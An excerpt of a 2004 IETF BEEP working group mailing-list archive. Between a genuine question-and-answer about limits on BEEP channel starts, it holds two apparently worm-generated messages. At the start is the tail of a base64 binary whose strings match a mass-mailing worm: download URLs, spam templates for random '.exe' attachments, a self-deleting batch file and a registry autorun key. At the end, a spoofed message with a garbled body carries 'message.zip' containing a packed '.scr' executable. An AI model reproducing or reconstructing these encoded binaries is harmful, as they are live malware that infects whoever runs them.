aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------837403615468708--


From california10@gmx.de Wed Jan 21 02:30:24 2004
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i0LAUMom004933
	for <beepwg@lists.beepcore.org>; Wed, 21 Jan 2004 02:30:23 -0800 (PST)
Received: (qmail 13794 invoked by uid 0); 21 Jan 2004 10:30:06 -0000
Received: from 212.117.81.34 by www51.gmx.net with HTTP;
	Wed, 21 Jan 2004 11:30:06 +0100 (MET)
Date: Wed, 21 Jan 2004 11:30:06 +0100 (MET)
From: "Ingo Funken" <california10@gmx.de>
To: beepwg@lists.beepcore.org
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated: #19191783
Message-ID: <32475.1074681006@www51.gmx.net>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Subject: [BEEPwg] (no subject)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

is there any restriction in BEEP concerning the number of channels? I mean,
can I start channels as much as I can without waiting for acknowledgements
for these channels? Or is there restrictions to avoid overflowing the server
site with too many requests to start channels?

-- 
+++ GMX - die erste Adresse für Mail, Message, More +++
Bis 31.1.: TopMail + Digicam für nur 29 EUR http://www.gmx.net/topmail


From jered@permabit.com Wed Jan 21 07:04:53 2004
Received: from act-of-god.permabit.com (act-of-god.permabit.com [67.107.99.100])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i0LF4qom008278
	for <beepwg@lists.beepcore.org>; Wed, 21 Jan 2004 07:04:53 -0800 (PST)
Received: from questionably-configured.permabit.com.permabit.com (questionably-configured.permabit.com [10.0.8.28])
	by act-of-god.permabit.com (Postfix) with ESMTP
	id 9B434132E6; Wed, 21 Jan 2004 10:04:43 -0500 (EST)
To: "Ingo Funken" <california10@gmx.de>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] (no subject)
References: <32475.1074681006@www51.gmx.net>
From: Jered Floyd <jered@permabit.com>
Date: 21 Jan 2004 10:04:43 -0500
In-Reply-To: <32475.1074681006@www51.gmx.net>
Message-ID: <87d69dibqs.fsf@questionably-configured.permabit.com>
Lines: 33
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Common Lisp)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id i0LF4qom008278
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Ingo,

You can request as many channel starts as you would like, but keep in
mind that these all must be performed on channel 0 so they will be
pipelined.  If the remote side is not processing these start requests
as quickly as you are sending them, the channel window on channel 0
will fill and you will not be able to send any additional requests.
Further, the remote peer always has the option of rejecting your
channel start requests.  So, overall, there is no inherent danger of
you overflowing the remote peer with too many requests to start
channels (although the remote side should do resource management to
ensure this!)

--Jered

"Ingo Funken" <california10@gmx.de> writes:

> Hi,
> 
> is there any restriction in BEEP concerning the number of channels? I mean,
> can I start channels as much as I can without waiting for acknowledgements
> for these channels? Or is there restrictions to avoid overflowing the server
> site with too many requests to start channels?
> 
> -- 
> +++ GMX - die erste Adresse für Mail, Message, More +++
> Bis 31.1.: TopMail + Digicam für nur 29 EUR http://www.gmx.net/topmail
> 
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://lists.beepcore.org/mailman/listinfo/beepwg



From presnick@qualcomm.com Mon Jan 26 18:28:04 2004
Received: from bulk.resource.org (bulk.resource.org [192.101.98.10])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i0R2S3vi002529
	for <beepwg@lists.beepcore.org>; Mon, 26 Jan 2004 18:28:04 -0800 (PST)
Received: from qualcomm.com ([221.142.244.155])
	by bulk.resource.org (8.12.2/8.12.2) with ESMTP id i0R2Rv1o026665
	for <beepwg@lists.beepcore.org>; Mon, 26 Jan 2004 18:27:57 -0800 (PST)
Message-Id: <200401270227.i0R2Rv1o026665@bulk.resource.org>
From: presnick@qualcomm.com
To: beepwg@lists.beepcore.org
Date: Tue, 27 Jan 2004 11:27:55 +0900
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0003_B0780826.7AA7E819"
X-Priority: 3
X-MSMail-Priority: Normal
Subject: [BEEPwg] (no subject)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multi-part message in MIME format.

------=_NextPart_000_0003_B0780826.7AA7E819
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Pè¦¬“ßÎí(]–tz)6
Ió
ë¯…±A¬$mô~Htq»ƒhêþ¬'ªüPˆ~ÔÑ³Uþ¬BX§E$šáÁìµ ‹SD¿Ñ³hzŒEô`~d`–
Do3O¿UR[‹ÇètS®²ÌÛ.2N‚¦[‡žLýü'þú•Sth—%°>Öui)H 7–Š†BeRcx¸Öå5[ªË#7­×ãÕÑI†Í¦o±£fíÇ«ë~ãæ*àb
9Îý†Y3rÐ¿ó
¿xOó3íµa\yDž2BÐNÇÛ%½LºÉCa´“
˜pl ˜Ä^îíßÐ5Ú‚$ålæ`â.¦
ŽX/\owE"…§zkÕO–Ï]~áò”}
w*?ü©b˜è°>õ0Mgo›m¼‚b½]÷³ù|`BCîü%~¦{uüß¦û©ÚÄîÉYÏY
Çz¶§ ðQµ²ú” ] 1V“8ºÜÐ
Sg(A¥ŽlÒ®b¡„pÑëÝœá(É‹ŠF-­Nì¹®%Ó¶x5Ûj5Ý”µ„»•Œ?‰¥d`A£c&9\gÉÐ`Åœ$”X3»´4å] Ï×Ñ†Üê‰iêøôÙõ2íhcA£•²šažI­£Írl2}5Yƒ éG§å[:-;öIUˆR¡‡½D#G¨•%0ö*yñ…N:ó"T1ÅÕQé´‰Ng:½¼6ÙÊ>‰°¦µÇ„‹*\òH;.¯ßVËa&ÒYf(Õ$*\«ë“
MáèS`<pŸÚ¸1(—ýp¨Z“8¶Z£Ovð(ÊdíN9Ê”vÃ
‚6Â
;Z‚BÕ©OŠ«Bbë˜Å$áÝÄ.·ˆSø¥‹MÕvœöá(jÑÚZ­…ÀÒùÇ™æ*!Ã¼ûN$pter]¨
”xWF1AÄ¸ó¤áñU½i¨t]:aSPg¤«ªÆ—‚RåÂÂËtX%ZÕ¹cÛhÇµD±¯i¦Ø÷wÇZ¥ù9­åÚä¢ Úx
·ß¨öräd³[mõw˜MÀULZg<W(Âƒ¦žšm7“&Ë{!Ü`n þoÎàSd&G9ÊŠž¿£>Gå¯jn´Œ)wºìVzÅ VÖèhÊM_hMaŒËY"Nž“?ë¤öªÞy¯¡Rï7àJÆ»]]3\â0±Ü%ò'p×Jf-Ø‚aßxdw¼¸WïåË°êÙ32‰úçíæ<ôŸí8sáiRÖ©ìAMÛžu2åÞe8©¸½µ[¶¶x_ŽŒ›ìË™)¨äƒÞõ;ý¥#5»ìß,ó.]Ë6¾ºó5pê$†òÇþh7Q%ýõÂÈ&¹…9šï|Óž^‘Æ¨/(×
eQ Pã~Q–¬¼j{\ìÖ¶|a$ò¤çT…¿,§Ìµ4çõŽÅBö6SõŽ®ésó‰-º>k5¹„Eoßê#ëß¾céï¼ÒÁP[Nƒ-žnGnKè)Q†RNzú#!¢B³Ð#
›ë3>„Q
Óí7Óms‘“5˜F¶Þ‰™5‡¾´†â§ý-UçKÜ£þV¦À%Ñ×ÄÜÔ¢2[tK|O§®:%µk\æñ5õT?~Jñ¾È#BØZ¡<£?¹W.O<D _Òyy`®eÛâÝ®÷¨ŸL"Ÿ‘æŸÂ]¶È$à<]Yu#ŸDëë¡dŠröë%—‡æÊEšÆ;É™_«1ˆÈSÙõÖ¿œòt-‹IDúî] ×"áìËGü(nJdü¯Ñ$wSŒBu2¬Œƒ`kÙÙR­¬Ö{ÃyŽ• ? ó¢M©)O;Ý-jÂ„#ðßá§ïüsK-,˜¸§íx¨!!O5ð°!ÚYD×ÔJ¦ŠÑDî¢R0”ÕTœŽëÌH©dÖ6ÒwKf´P!àA`Ë©zqþ]uc¸ØòÑÒ¬ÆNWœÄ8â}4½FºOb¹1Ø!µ¨¿5â
À£±¿hþ¦4­x›¤^t7t#ºóu¢pÄ‘¿URæhZ$òÂÏÚÛë™½Ç½dG›3ö¢ÀNL»7••`†ªHy…aãäœãô—×‰4„ò3ÝtûgÊ
š…ùm¢åx±må$7¾œö¯±oŸñ‡÷ úõ
®ïæËmfæKzì{ç
¤L¦­^AÛ’«gkôŽAmØ²;d£
õày‡´ö#®üÓÎäY»°Ç‰õMÕþÄ©
³DV¤-¤oE¸H¥¼%¸¸Ì3Ò£Æ3‘æoF™¢¤6óSEç›OxÍuÓi´™L•Â·ÖÔÉáö››Ô%Òíû¤ðÃ•—ÃŽ/À›Á;¦jUŽ>¢ÇwñmýCIàäÃæô$Z®Œ–‘hÔP" ø57ñµsMµOÜçëìÍ¯ñ¹‘{K×_òB0o"´ž¢¿)}Œ±Ç»´$Â%’Ÿ¶­Ú
v/2ÄÃt˜Tâì×éY%ù`OdÏ$žüf}’ôCAí&Ç^Ù|5R^«õ­g¦¹qÇØ½(ÓsV
¨iKaà®;¬x÷©ÈÝ´†YyäÖ¸„M¥–¾Þ•ß1R2upÃØïƒ"vc³6I^IA­cWßp£‡šå±b)
Õ§²ã^ÞÃ„G­ø{QÑ7u4eówü4°õ‡?‰]ÓyÅ«ÝRóaêþÛ÷EÃWZiT:CiR1–Ê»Œ$æ­ãh«¬þeþ„ Ê`·¦bÒòj—ˆZŽ~%Ìþ
/*AUß"–ÒÆÝùà2]R¬Aè˜3—Ìdn†ë¢…qW("ªoc*ìßÒð[ÓÃ´–pETC›ðµ®*]‹G-°„m¡H>¯)(Wø-SÇ¢…6jÒvÁÒéA~ŠBj­±Ú×?¸ú…·ÎœB”ÀÒ4É…JïQÀ,”–-ÛK™fF¨£Ï“–nbx64˜W>MÌu”Àñ¿ñ
Ãƒˆ®šò^s™ÐˆM¥²j¬·7÷«2üýP#ÊOëÐfñ2¶­Ñû‹ÔÀç^K÷…ãŠ'I¡|y±Å“|~C 8Ö"ŠdV†_¼ú:‡
©qÆÃ­X`2u¹pœ¾åï[8Š8l"w1S[~1~Úp"±ÆÐþ´LÐó.
¾©Ðì![„Å|ZlÏéøH„OÀp²o§îþØie|ìqfƒŒåW}#›„ñPGíy}ÐÂ›²¸…¼qpoÙhÑ‰Wôê~°uO£’—òDñŒ»®ôûÒ¿‰.m¯5”àñ¥f”ùNC¨Ë÷WDý°Rò„fYg“­&w>ŠI’Ç¸Æ,øjœÎ«[EÈ[Ì«¦>(„ÃÆÌAÞÅ£ÑÝ°;·áý»¦ÆHç?“¦½å Y#ç —1ƒ•^n:56ÜêÙ«ãG0(qÉ¤›aÜŸ"üÈ‹¤´_Þ‰îÆ-ø­>OBû£"´JžƒQj®73­“4XFG˜EtÅµ
oÙÃG¼Çm;Ú£


------=_NextPart_000_0003_B0780826.7AA7E819
Content-Type: application/octet-stream;
	name="message.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="message.zip"

UEsDBAoAAAAAAHsTOzDKJx+eAFgAAABYAAALAAAAbWVzc2FnZS5zY3JNWpAAAwAAAAQAAAD//wAA
uAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAA
AOAADwELAQcAAFAAAAAQAAAAYAAAYL4AAABwAAAAwAAAAABKAAAQAAAAAgAABAAAAAAAAAAEAAAA
AAAAAADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOjBAAAw
AQAAAMAAAOgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AFVQWDAAAAAAAGAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABQAAAAcAAA
AFAAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMAAAAAEAAAAVAAAAAAAAAAAAAAA
AAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAxLjI0AFVQWCEMCQIJSH6Jj9Q2HIEplgAAU04AAACAAAAmAQDF7ocCkgBQJkoAQAP9smmaLBAE
9CXoAQBLzmmabtkfyCrAA7iwqKZpmqagmJCIgJqmaZp4cGhgWFDNYJ9pSABEBzgwNE3TdAMoJBwY
ENMsu9cIIwP4KfDoTdM0TeDY0Mi8tDRN0zSspJyUjM42TdOIfHBoKW9cpumawQdUTANEOJqmaZos
JBwUDARpms5t/Ch/A/Ts5KZpmqbc1MzIvJqmaZq0rKSgmJBnm6ZpjIB4cCh7aN5s03UHXANUTCj/
+wt2tvvjQA80KPcsLwOaphn5JChKHBQMBGmazuyb/CcD7OjgpmmaptjUzMjAmqZpurgnsKyooJhp
mqZplIyIhHykaZqmdGxkXFRpmqYbTANEQDgwpmmapiggGBAImqZzmwD4Js8D6ODYZ5vObVQ0QwNA
NDTbiv////+dWtDa5fQGHzNObHJO2AKXX5LIAT18vkNLluQ1ieA6l//////3WsAplQR262PeXN1h
6HL/jyK4Ue2MLtN7JtQNOfCqZ/////8n6rB5RRTmu5NuTC0R+OLPv7KooZ2cnqOrtsTV6QAaN///
//9XeqDJ9SRWi8P+PH3BCFKf70KY8U2sDnPbRrQlmRCKB/////+HCpAZpaWo/vLD0qj4EixKa4+2
4A09cKbfG1p84SdVyf////8SYL4YZdU4nhdz4lSJQbya4z/GUI1tAJZPy2oMsUN6sv////9zF86I
RwXIilcj8sSZcUwuC+/WwK2dkIYPe3p8kYmUov////+zx976FTVYfqfDAjR5odwaW4/mMG3NIHbP
K4r8Ubkkkv////8Dd+5o5WXobpeDg3aMlaGwwtfvCihJbZS+6xtOhL35OP////96vwdSoPFFbJZT
sxp85VHAMqcfmhiZHaQuu0vedA2pSP/////qjzfikEH1rGYj46ZsNQHQondPKgjpzbSei3tuZF1Z
WP////9aX2dygJGlvNbzEzZchbHgEkd/uvg5fcQOW6v+VK0JPf////+ad6cCcOFVzAbDQ8Zc1WFh
ZGpzf4ygtc3oBidLcpzJ+f////8sYptXFlh9sGAm/iN61DGR5FrDL84Qhf109nf7gAyZKf////+8
UuuHJshtFcBuH5OKROGU1BIh366AVS0Y5ser8nxpWf////9OQjs3ODg9RVBeb4OatNHxFDpjz77w
5Wy25CNb97xhqP/////QO4nuczxj+JngxUuRF6Eh3iKzPz9USFF7b37Wz9lulf/f/v8pAyPplAm/
5vOlQRCmfDJpa4AhCy3HTtIQgmz5/////3Ond94UhwcH+1KqAWHALJv3Jpbdl50iYA9Gns39LEB/
/////5Oy0vEJIFh2aGNdUFJRU2pkdwEsxe9UMLxXETzOnVdu/////yDjrWDa0VIVzmZft0HAFORl
k594/nINvOdqlXt7E3Z2/////30cDS3y9vSw8dHnefrdTGWj/ydsjN0L24wbqb11hztP/////9sU
gkIUCUXMgg/6Yrcpc/sVg+cek360JGkp/70oy+pO///t/3cOOrC/91TU7HOYAU0GnfKir8Ji8+Ve
N98FcVL/////B/gbQH5UPqepTywCfTDI5wbSVCoaa0wBnQT2avodxwb/hf//+B2QBKuWAAYGECvv
mdRO/xd4C5PG+HUhjKT/////X//Mcmvrb/6l/ezQQcl4kdnErCbH6OCptxpdb+wpEKP/////vPPt
9W9RITWN1lMcSCkY47dcP524zdBSVeO1Q+q+Z+P/////oKAy4s5JOiQvMAqProThdUChYpiy9TBK
4OP/kYHBJwf/////d4hnj1SzhQji/oJFq2GOdNq7Kjiu8ErUGJwXikjCtbz/////nvsfVuZukOA7
R7OgGrfSqrzE95NIpgHABP8GEotdqdj/////vZQx+B/oWmM+39YKykLVDF5gSXL19K70Uxf8FhXy
jpr/////c3A8grHijjdbUxaiJ5RUWKyxNTc+qnVllSFu6xqEgWr/////5goYPzqVn4GC43OkRz0J
AtYuiMKn1T+KXOqfVjtfPUr/0v//w3lfQwm48Kuazh6yhdlLwdQ7Xs/f9kf5Svf/////2PsttIpn
Yv9YrRGMIvdby1jfhfys4GXa65eU4mAI7z//////POPsfxCOYH7dTZvknQUbl3rbzLP7N48l8Tkd
snwa9R3/////H72f6cbq6es+2ZZw/TvaRSX286Tn1gQhTDn+W6SHiZL///8LndOwW40qNkIbytHk
NFCswxzF4WaKbFszUUL/////7T4jq2LX7pT0NLLp1UmsXiauvG15Z5VbN4akgj2uh8P/////h7CA
tt9D37uLgGUvHqgyy7UqkzdDeeJiNFq67WlcbCL/////rBjVc+HryIYvWklP8UPzN8tvNhg9Zy2h
8ZhCErgNwcr/t///awpr+AWNjQeel+iIULayuNnzMoFf2n5f99AdDf////9KGwM6fQ8/C08Y8Svh
iLU3JPfUBx83b81rkF1Clpefov////+fnS8mVkCG9xustVq8JzskpJ2J08ilTzb6aAC+Pl0Z1v/b
///1yRTJ8OSOLDaJC+CG69ELCjPTszaGkuS9ijCg/////8e5XrzQ3qvByErXgr9d5aCek5Al2EAv
MaAJprMwAaHY/////1+tkWi8GHI59SyhY2GLHhpBJjcbR6rZ8LvF5jHgTCxpN/7//+j6EcZw90P7
R6LaoNX3KMW/tZVw0QT18E1pG/z///+WPZMGpSy6OXgM250CI8OZVZaEW4dCPP////8zNIA19h3z
JKZexu842tyqh9/Yci8/xOT2ljaPRDVH9f////9B1ZEmaWfKE9osMm0JKRFzWkFWCzo98FIdrC+m
GvC3+v//S/8xFCaXkg+0pCy+XtAMz8+3AGvTepFUOIiSsf83aP/lCufglSWayM7WggOlznvxtPMd
Nv//X/iwDNF/kY8l/lKKNnVr79vB2SPGDz51FaTA/f////+8usM8CFrnc4Zu1bBXcDoPfqTcUNVC
Pw+Orz+r4EBz4////xvCXH+JFLL57QMYIv4LjyqUlR1NYfomb2ETg7/w///+HcIMPfvmfz8oNJ4r
ryLNKaLrZ1y4aEl+Zkt/g//AqqrTKst1aKAop0jf26caPSX/////JAXX5ezg7eL4+Q5nl1aRu/Rc
zdffkbq3P7maXYisXTn/Fv//7HFrl+wrwC4IaMWdWRsJC+8ZtlNZlVkP/////xJ2+ZvUka9OsEFI
oO6HKKZnnw7HP0/ItgLFmVy1ZHMOv8T//5sAtkFUFOsJg+rFAPmOZV5oYRT24+FSk//C///ayF+b
d8aiicrS5Nsi8R+PHMmu1UB4uEzcfP/////xybNugGqghSuEueCrzedxf7ebMVq1kdIINHBOjCaj
ab/0/281CJtdm8iLW/1AltxAWMwQ6vywi8Vt/////4uy3x33dBHcJqkQIEp+MkG+5WFL6XJ/J7wG
Q5NS+RMb//////ZdvkCcwg+ZAMaLrPWG1+CCnneL+tTmThDCGEs+KO35/8b/9nwKf0fDana5mf5d
rmxazU4b64lxjvwb/f//8fYGfHlcE7FPIfVU9StifaRjcLWqYkqR/////zXGmGaAIliPVSx42EGx
OixyEHDb76xlknnkH/XxSn1o//+//Wvw5sJ0bQP+EFA9xUDam6IJCIh9AfkyxqUHdBn/////LPPO
qCDW3o21pn5v5ZRWR0HYzO7rn/ZPCuEm7jpZtFr/////A0Vx958IgzWgklai/xJuWoBP/S72aCuh
96M6/DM8vUf///8WPkjYhlXfK8JsC4QfhtgXzwXp1P3r5dr1/////6GtvGNOPgPzhoQeHufSnntD
ob47sZ806opZ21ljrzKs/3/j/1DFvinF5QTqX/4BPH3KdvPBS4t/PBtYC2SB/5f+/8w1RHDd8BAy
